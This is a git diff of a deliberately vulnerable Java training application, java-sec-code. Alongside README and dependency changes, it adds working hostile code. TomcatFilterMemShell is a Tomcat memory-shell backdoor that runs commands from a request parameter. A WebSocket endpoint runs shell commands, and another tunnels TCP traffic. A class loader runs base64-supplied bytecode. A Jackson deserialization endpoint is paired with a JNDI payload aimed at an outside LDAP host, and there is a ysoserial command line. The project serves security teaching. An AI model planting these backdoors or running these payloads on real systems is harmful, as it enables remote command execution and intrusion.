diff --git a/README.md b/README.md index 56d10960..c1f2eb91 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,12 @@ Java sec code is a very powerful and friendly project for learning Java vulnerability code. -[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) +[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋 + +## Recruitment + +[Alibaba-Security attack and defense/research(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description) + ## Introduce @@ -11,7 +16,7 @@ This project can also be called Java vulnerability code. Each vulnerability type code has a security vulnerability by default unless there is no vulnerability. The relevant fix code is in the comments or code. Specifically, you can view each vulnerability code and comments. -[Online demo](http://118.25.15.216:8080) +Due to the server expiration, the online demo site had to go offline. Login username & password: @@ -30,6 +35,7 @@ Sort by letter. - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) - [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) - [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) +- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) - [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) - [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) @@ -37,9 +43,17 @@ Sort by letter. - [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) - [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) - [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jsonp.java) +- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) + - Runtime + - ProcessBuilder + - ScriptEngine + - Yaml Deserialize + - Groovy +- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java) - [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java) - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) @@ -51,7 +65,7 @@ Sort by letter. - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) - [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java) - [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) - +- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java) ## Vulnerability Description @@ -69,6 +83,7 @@ Sort by letter. - [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) - [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) +- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) ## How to run @@ -137,7 +152,7 @@ Viarus Example: ``` -http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami ``` return: @@ -195,12 +210,6 @@ Core developers : [JoyChou](https://github.com/JoyChou93), [liergou9981](https:/ Other developers: [lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95), [waderwu](https://github.com/waderwu). -## Donate - -If you like the poject, you can donate to support me. With your support, I will be able to make `Java sec code` better 😎. - -### Alipay - -Scan the QRcode to support `Java sec code`. +## Support - +If you like the poject, you can star java-sec-code project to support me. With your support, I will be able to make `Java sec code` better 😎. diff --git a/README_zh.md b/README_zh.md index 72477885..b5c658c3 100644 --- a/README_zh.md +++ b/README_zh.md @@ -2,7 +2,11 @@ 对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。 -[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) +[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋 + +## 招聘 + +[Alibaba招聘-安全攻防/研究(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description) ## 介绍 @@ -10,7 +14,7 @@ 每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。 -[在线Demo](http://118.25.15.216:8080) +由于服务器到期,在线的Demo网站已不能使用。 登录用户名密码: @@ -26,15 +30,24 @@ joychou/joychou123 - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) - [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) - [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) +- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) - [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) - [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) - [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) - [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) - [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java) +- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) + - Runtime + - ProcessBuilder + - ScriptEngine + - Yaml Deserialize + - Groovy +- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java) - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) @@ -45,7 +58,7 @@ joychou/joychou123 - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) - [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java) - [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) - +- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java) ## 漏洞说明 @@ -62,6 +75,7 @@ joychou/joychou123 - [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) - [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) +- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) @@ -129,7 +143,7 @@ Viarus 例子: ``` -http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami ``` 返回: @@ -185,12 +199,7 @@ Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会 核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。 -## 捐赠 - -如果你喜欢这个项目,你可以捐款来支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 - -### Alipay +## 支持 -扫描支付宝二维码支持`Java sec code`。 +如果你喜欢这个项目,你可以star该项目支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。 - diff --git a/docker-compose.yml b/docker-compose.yml index cb3f8efa..7e9c878e 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,9 +1,11 @@ -version : '2' +version : '3' services: jsc: image: joychou/jsc:latest + command: ["java", "-Xdebug", "-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000", "-jar", "jsc.jar"] ports: - "8080:8080" + - "8000:8000" links: - j_mysql diff --git a/java-sec-code.iml b/java-sec-code.iml index 59b2063d..5c58c92b 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -1,220 +1,14 @@ - + + + + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/pom.xml b/pom.xml index 6f8f3990..c62d938c 100644 --- a/pom.xml +++ b/pom.xml @@ -100,7 +100,13 @@ org.apache.logging.log4j log4j-core - 2.8.2 + 2.9.1 + + + + org.apache.logging.log4j + log4j-api + 2.9.1 @@ -129,6 +135,7 @@ spring-boot-starter-actuator + org.springframework.cloud spring-cloud-starter-netflix-eureka-client @@ -189,11 +196,12 @@ 1.7 - + com.thoughtworks.xstream xstream - 1.4.10 + + 1.4.20 @@ -252,11 +260,149 @@ org.projectlombok lombok - 1.18.16 + 1.18.20 provided + + org.yaml + snakeyaml + 1.21 + + + + org.springframework + spring-test + + + + junit + junit + + + + + commons-beanutils + commons-beanutils + 1.9.4 + + + + + io.jsonwebtoken + jjwt + 0.9.1 + + + + + com.auth0 + java-jwt + 4.0.0 + + + + cn.hutool + hutool-all + 5.8.10 + + + + org.javassist + javassist + 3.27.0-GA + + + + org.springframework.data + spring-data-commons + 1.13.11.RELEASE + + + + com.jayway.jsonpath + json-path + + + + org.xmlbeam + xmlprojector + 1.4.13 + + + + + org.postgresql + postgresql + 42.3.1 + + + + + com.ibm.db2 + jcc + 11.5.8.0 + + + + org.apache.shiro + shiro-core + 1.2.4 + + + + com.fasterxml.jackson.core + jackson-databind + 2.9.8 + + + + com.fasterxml.jackson.core + jackson-annotations + 2.9.8 + + + + com.fasterxml.jackson.core + jackson-core + 2.9.8 + + + + + + org.jsecurity + jsecurity + 0.9.0 + + + + + + org.springframework + spring-expression + 4.3.16.RELEASE + + + + + com.h2database + h2 + 1.4.199 + test + + + org.apache.tomcat + tomcat-dbcp + 9.0.8 + + + + com.alibaba + QLExpress + 3.3.1 + diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java index 0f04b2c8..afdf6f56 100644 --- a/src/main/java/org/joychou/Application.java +++ b/src/main/java/org/joychou/Application.java @@ -5,8 +5,6 @@ import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.boot.web.servlet.ServletComponentScan; import org.springframework.boot.web.support.SpringBootServletInitializer; -import org.springframework.cloud.netflix.eureka.EnableEurekaClient; - @ServletComponentScan // do filter diff --git a/src/main/java/org/joychou/config/HttpServiceConfig.java b/src/main/java/org/joychou/config/HttpServiceConfig.java new file mode 100644 index 00000000..64477bd4 --- /dev/null +++ b/src/main/java/org/joychou/config/HttpServiceConfig.java @@ -0,0 +1,38 @@ +package org.joychou.config; + +import org.springframework.boot.web.client.RestTemplateBuilder; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.http.client.SimpleClientHttpRequestFactory; +import org.springframework.web.client.RestTemplate; + +import java.io.IOException; +import java.net.HttpURLConnection; + + +class CustomClientHttpRequestFactory extends SimpleClientHttpRequestFactory { + + + @Override + protected void prepareConnection(HttpURLConnection connection, String httpMethod) throws IOException { + super.prepareConnection(connection, httpMethod); + // Use custom ClientHttpRequestFactory to set followRedirects false. + connection.setInstanceFollowRedirects(false); + } +} + +@Configuration +public class HttpServiceConfig { + + @Bean + public RestTemplate restTemplateBanRedirects(RestTemplateBuilder builder) { + return builder.requestFactory(CustomClientHttpRequestFactory.class).build(); + } + + + @Bean + public RestTemplate restTemplate(RestTemplateBuilder builder) { + return builder.build(); + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/TomcatFilterMemShell.java b/src/main/java/org/joychou/config/TomcatFilterMemShell.java new file mode 100644 index 00000000..15822d59 --- /dev/null +++ b/src/main/java/org/joychou/config/TomcatFilterMemShell.java @@ -0,0 +1,105 @@ +package org.joychou.config; + +import java.lang.reflect.Field; +import org.apache.catalina.core.StandardContext; +import java.io.IOException; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.tomcat.util.descriptor.web.FilterDef; +import org.apache.tomcat.util.descriptor.web.FilterMap; +import java.lang.reflect.Constructor; +import org.apache.catalina.core.ApplicationFilterConfig; +import org.apache.catalina.Context; +import org.springframework.stereotype.Component; + +import javax.servlet.*; +import java.util.*; + +//@Component +public class TomcatFilterMemShell implements Filter { + static{ + try { + System.out.println("Tomcat filter backdoor class is loading..."); + final String name = "backdoorTomcatFilter"; + final String URLPattern = "/*"; + + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + // standardContext为tomcat标准上下文, + StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + + Class aClass; + try{ + // standardContext类名为TomcatEmbeddedContex,TomcatEmbeddedContext父类为StandardContext + // 适用于内嵌式springboot的tomcat + aClass = (Class) standardContext.getClass().getSuperclass(); + }catch (Exception e){ + aClass = standardContext.getClass(); + } + Field Configs = aClass.getDeclaredField("filterConfigs"); + Configs.setAccessible(true); + // 获取当前tomcat标准上下文中已经存在的filterConfigs + Map filterConfigs = (Map) Configs.get(standardContext); + + // 判断下防止重复注入 + if (filterConfigs.get(name) == null) { + // 构造filterDef,并将filterDef添加到standardContext的FilterDef中 + TomcatFilterMemShell backdoorFilter = new TomcatFilterMemShell(); + FilterDef filterDef = new FilterDef(); + filterDef.setFilter(backdoorFilter); + filterDef.setFilterName(name); + filterDef.setFilterClass(backdoorFilter.getClass().getName()); + standardContext.addFilterDef(filterDef); + + // 构造fiterMap,将filterMap添加到standardContext的FilterMap + FilterMap filterMap = new FilterMap(); + filterMap.addURLPattern(URLPattern); + filterMap.setFilterName(name); + filterMap.setDispatcher(DispatcherType.REQUEST.name()); + standardContext.addFilterMapBefore(filterMap); + + Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); + constructor.setAccessible(true); + ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); + + // 最终将构造好的filterConfig存入StandardContext类的filterConfigs成员变量即可 + filterConfigs.put(name, filterConfig); + System.out.println("Tomcat filter backdoor inject success!"); + } else System.out.println("It has been successfully injected, do not inject again."); + } catch (Exception e) { + System.out.println(e.getMessage()); + } + } + + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + String cmd; + if ((cmd = servletRequest.getParameter("cmd_")) != null) { + Process process = Runtime.getRuntime().exec(cmd); + java.io.BufferedReader bufferedReader = new java.io.BufferedReader( + new java.io.InputStreamReader(process.getInputStream())); + StringBuilder stringBuilder = new StringBuilder(); + String line; + while ((line = bufferedReader.readLine()) != null) { + stringBuilder.append(line).append('\n'); + } + servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); + servletResponse.getOutputStream().flush(); + servletResponse.getOutputStream().close(); + return; + } + + filterChain.doFilter(servletRequest, servletResponse); + } + + + @Override + public void destroy() { + + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java new file mode 100644 index 00000000..ae4a0f1a --- /dev/null +++ b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java @@ -0,0 +1,46 @@ +package org.joychou.config; + +import javax.websocket.*; +import java.io.InputStream; + +public class WebSocketsCmdEndpoint extends Endpoint implements MessageHandler.Whole { + private Session session; + + @Override + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.session = session; + session.addMessageHandler(this); + } + + @Override + public void onClose(Session session, CloseReason closeReason) { + super.onClose(session, closeReason); + } + + @Override + public void onError(Session session, Throwable throwable) { + super.onError(session, throwable); + } + + @Override + public void onMessage(String s) { + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); + } else { + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) stringBuilder.append((char) i); + inputStream.close(); + process.waitFor(); + session.getBasicRemote().sendText(stringBuilder.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java b/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java new file mode 100644 index 00000000..4c1f7710 --- /dev/null +++ b/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java @@ -0,0 +1,111 @@ +package org.joychou.config; + +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import java.io.ByteArrayOutputStream; +import java.net.InetSocketAddress; +import java.nio.ByteBuffer; +import java.nio.channels.AsynchronousSocketChannel; +import java.nio.channels.CompletionHandler; +import java.util.HashMap; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +public class WebSocketsProxyEndpoint extends Endpoint { + long i = 0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); + + static class Attach { + public AsynchronousSocketChannel client; + public Session channel; + } + + void readFromServer(Session channel, AsynchronousSocketChannel client) { + final ByteBuffer buffer = ByteBuffer.allocate(50000); + Attach attach = new Attach(); + attach.client = client; + attach.channel = channel; + client.read(buffer, attach, new CompletionHandler() { + @Override + public void completed(Integer result, final Attach scAttachment) { + buffer.clear(); + try { + if (buffer.hasRemaining() && result >= 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); + if (scAttachment.channel.isOpen()) { + scAttachment.channel.getBasicRemote().sendBinary(q); + } + baos = new ByteArrayOutputStream(); + readFromServer(scAttachment.channel, scAttachment.client); + } else { + if (result > 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + readFromServer(scAttachment.channel, scAttachment.client); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void failed(Throwable t, Attach scAttachment) { + t.printStackTrace(); + } + }); + } + + void process(ByteBuffer z, Session channel) { + try { + if (i > 1) { + AsynchronousSocketChannel client = map.get(channel.getId()); + client.write(z).get(); + z.flip(); + z.clear(); + } else if (i == 1) { + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch (Exception ignored) { + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + map.put(channel.getId(), client); + readFromServer(channel, client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + } catch (Exception ignored) { + } + } + + @Override + public void onOpen(final Session session, EndpointConfig config) { + i = 0; + session.setMaxBinaryMessageBufferSize(1024 * 1024 * 20); + session.setMaxTextMessageBufferSize(1024 * 1024 * 20); + session.addMessageHandler(new MessageHandler.Whole() { + @Override + public void onMessage(ByteBuffer message) { + try { + message.clear(); + i++; + process(message, session); + } catch (Exception ignored) { + } + } + }); + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/ClassDataLoader.java b/src/main/java/org/joychou/controller/ClassDataLoader.java new file mode 100644 index 00000000..acd4ff3f --- /dev/null +++ b/src/main/java/org/joychou/controller/ClassDataLoader.java @@ -0,0 +1,31 @@ +package org.joychou.controller; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +import javax.servlet.http.HttpServletRequest; + +public class ClassDataLoader { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @RequestMapping("/classloader") + public void classData() { + try{ + ServletRequestAttributes sra = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); + HttpServletRequest request = sra.getRequest(); + String classData = request.getParameter("classData"); + + byte[] classBytes = java.util.Base64.getDecoder().decode(classData); + java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); + defineClassMethod.setAccessible(true); + Class cc = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), null, classBytes, 0, classBytes.length); + cc.newInstance(); + }catch(Exception e){ + logger.error(e.toString()); + } + } +} diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java index 45662e9c..55c82ab2 100644 --- a/src/main/java/org/joychou/controller/Deserialize.java +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -1,5 +1,6 @@ package org.joychou.controller; +import com.fasterxml.jackson.databind.ObjectMapper; import org.joychou.config.Constants; import org.joychou.security.AntObjectInputStream; import org.slf4j.Logger; @@ -29,17 +30,14 @@ public class Deserialize { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); /** - * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 - * Add the result to rememberMe cookie. - *

- * http://localhost:8080/deserialize/rememberMe/vuln + * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
+ * http://localhost:8080/deserialize/rememberMe/vuln */ @RequestMapping("/rememberMe/vuln") public String rememberMeVul(HttpServletRequest request) throws IOException, ClassNotFoundException { Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); - if (null == cookie) { return "No rememberMe cookie. Right?"; } @@ -56,9 +54,9 @@ public String rememberMeVul(HttpServletRequest request) } /** - * Check deserialize class using black list. - *

- * http://localhost:8080/deserialize/rememberMe/security + * Check deserialize class using black list.
+ * Or update commons-collections to 3.2.2 or above.Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.
+ * http://localhost:8080/deserialize/rememberMe/security */ @RequestMapping("/rememberMe/security") public String rememberMeBlackClassCheck(HttpServletRequest request) @@ -86,4 +84,17 @@ public String rememberMeBlackClassCheck(HttpServletRequest request) return "I'm very OK."; } + // String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]"; + @RequestMapping("/jackson") + public void Jackson(String payload) { + ObjectMapper mapper = new ObjectMapper(); + mapper.enableDefaultTyping(); + try { + Object obj = mapper.readValue(payload, Object.class); + mapper.writeValueAsString(obj); + } catch (IOException e) { + e.printStackTrace(); + } + } + } diff --git a/src/main/java/org/joychou/controller/Dotall.java b/src/main/java/org/joychou/controller/Dotall.java new file mode 100644 index 00000000..f6746354 --- /dev/null +++ b/src/main/java/org/joychou/controller/Dotall.java @@ -0,0 +1,31 @@ +package org.joychou.controller; + + + +import java.net.URLDecoder; +import java.nio.charset.StandardCharsets; +import java.util.regex.Pattern; + + +/** + * Spring Security CVE-2022-22978

+ * 漏洞相关wiki + * @author JoyChou @2023-01-212 + */ + +public class Dotall { + + + /** + * 官方spring-security修复commit记录 + */ + public static void main(String[] args) throws Exception{ + Pattern vuln_pattern = Pattern.compile("/black_path.*"); + Pattern sec_pattern = Pattern.compile("/black_path.*", Pattern.DOTALL); + + String poc = URLDecoder.decode("/black_path%0a/xx", StandardCharsets.UTF_8.toString()); + System.out.println("Poc: " + poc); + System.out.println("Not dotall: " + vuln_pattern.matcher(poc).matches()); // false,非dotall无法匹配\r\n + System.out.println("Dotall: " + sec_pattern.matcher(poc).matches()); // true,dotall可以匹配\r\n + } +} diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index 00ab7008..a1858a12 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -195,4 +195,4 @@ private static boolean isImage(File file) throws IOException { BufferedImage bi = ImageIO.read(file); return bi != null; } -} +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Jdbc.java b/src/main/java/org/joychou/controller/Jdbc.java new file mode 100644 index 00000000..79154c1e --- /dev/null +++ b/src/main/java/org/joychou/controller/Jdbc.java @@ -0,0 +1,36 @@ +package org.joychou.controller; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.sql.DriverManager; + +/** + * Jdbc Attack @2023.04 + */ +@Slf4j +@RestController +@RequestMapping("/jdbc") +public class Jdbc { + + /** + * CVE-2022-21724 + */ + @RequestMapping("/postgresql") + public void postgresql(String jdbcUrlBase64) throws Exception{ + byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); + String jdbcUrl = new String(b); + log.info(jdbcUrl); + DriverManager.getConnection(jdbcUrl); + } + + @RequestMapping("/db2") + public void db2(String jdbcUrlBase64) throws Exception{ + Class.forName("com.ibm.db2.jcc.DB2Driver"); + byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); + String jdbcUrl = new String(b); + log.info(jdbcUrl); + DriverManager.getConnection(jdbcUrl); + } +} diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java index 2ab0dcef..eb9381e3 100644 --- a/src/main/java/org/joychou/controller/Jsonp.java +++ b/src/main/java/org/joychou/controller/Jsonp.java @@ -6,8 +6,8 @@ import com.alibaba.fastjson.JSONPObject; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang.StringUtils; -import org.joychou.security.SecurityUtil; import org.joychou.util.LoginUtils; +import org.joychou.security.SecurityUtil; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.security.web.csrf.CookieCsrfTokenRepository; @@ -19,7 +19,6 @@ import org.joychou.util.WebUtils; import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; import java.security.Principal; diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java new file mode 100644 index 00000000..f3e4c126 --- /dev/null +++ b/src/main/java/org/joychou/controller/Jwt.java @@ -0,0 +1,64 @@ +package org.joychou.controller; + +import 